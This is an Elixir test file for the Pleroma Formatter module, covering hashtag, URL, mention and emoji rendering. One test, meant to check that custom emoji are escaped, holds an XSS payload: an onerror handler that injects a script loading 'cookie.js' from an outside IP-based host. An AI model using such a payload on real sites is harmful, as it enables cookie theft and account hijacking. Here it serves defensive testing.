1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
9 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
13 describe ".add_hashtag_links" do
14 test "turns hashtags into links" do
15 text = "I love #cofe and #2hu"
18 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
20 tags = Formatter.parse_tags(text)
22 assert expected_text ==
23 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
27 describe ".add_links" do
28 test "turning urls into links" do
29 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
32 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
34 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
36 text = "https://mastodon.social/@lambadalambda"
39 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
41 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
43 text = "https://mastodon.social:4000/@lambadalambda"
46 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
48 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
50 text = "@lambadalambda"
51 expected = "@lambadalambda"
53 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
55 text = "http://www.cs.vu.nl/~ast/intel/"
56 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
58 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
60 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
63 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
65 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
67 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
70 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
72 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
74 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
77 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
79 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
81 text = "https://en.wikipedia.org/wiki/Duff's_device"
84 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
86 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
88 text = "https://pleroma.com https://pleroma.com/sucks"
91 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
93 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
95 text = "xmpp:contact@hacktivis.me"
97 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
99 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
102 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
104 expected = "<a href=\"#{text}\">#{text}</a>"
106 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
110 describe "add_user_links" do
111 test "gives a replacement for user links" do
112 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
113 gsimg = insert(:user, %{nickname: "gsimg"})
117 nickname: "archaeme",
118 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archaeme"}}
121 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
123 mentions = Pleroma.Formatter.parse_mentions(text)
125 {subs, text} = Formatter.add_user_links({[], text}, mentions)
127 assert length(subs) == 3
128 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
131 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
132 "https://archeme/@archaeme"
133 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
134 archaeme_remote.ap_id
135 }'>@<span>archaeme</span></a></span>"
137 assert expected_text == Formatter.finalize({subs, text})
140 test "gives a replacement for user links when the user is using Osada" do
141 mike = User.get_or_fetch("mike@osada.macgirvin.com")
143 text = "@mike@osada.macgirvin.com test"
145 mentions = Formatter.parse_mentions(text)
147 {subs, text} = Formatter.add_user_links({[], text}, mentions)
149 assert length(subs) == 1
150 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
153 "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
155 assert expected_text == Formatter.finalize({subs, text})
158 test "gives a replacement for single-character local nicknames" do
160 o = insert(:user, %{nickname: "o"})
162 mentions = Formatter.parse_mentions(text)
164 {subs, text} = Formatter.add_user_links({[], text}, mentions)
166 assert length(subs) == 1
167 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
169 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
170 assert expected_text == Formatter.finalize({subs, text})
173 test "does not give a replacement for single-character local nicknames who don't exist" do
176 mentions = Formatter.parse_mentions(text)
178 {subs, text} = Formatter.add_user_links({[], text}, mentions)
180 assert length(subs) == 0
181 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
183 expected_text = "@a hi"
184 assert expected_text == Formatter.finalize({subs, text})
188 describe ".parse_tags" do
189 test "parses tags in the text" do
190 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
194 {"#working", "working"},
199 assert Formatter.parse_tags(text) == expected
203 test "it can parse mentions and return the relevant users" do
204 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
206 gsimg = insert(:user, %{nickname: "gsimg"})
207 archaeme = insert(:user, %{nickname: "archaeme"})
208 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
212 {"@archaeme", archaeme},
213 {"@archaeme@archae.me", archaeme_remote}
216 assert Formatter.parse_mentions(text) == expected_result
219 test "it adds cool emoji" do
220 text = "I love :moominmamma:"
223 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
225 assert Formatter.emojify(text) == expected_result
228 test "it does not add XSS emoji" do
230 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
233 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
234 "https://placehold.it/1x1"
238 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
240 assert Formatter.emojify(text, custom_emoji) == expected_result
243 test "it returns the emoji used in the text" do
244 text = "I love :moominmamma:"
246 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
249 test "it returns a nice empty result when no emojis are present" do
250 text = "I love moominamma"
251 assert Formatter.get_emoji(text) == []
254 test "it doesn't die when text is absent" do
256 assert Formatter.get_emoji(text) == []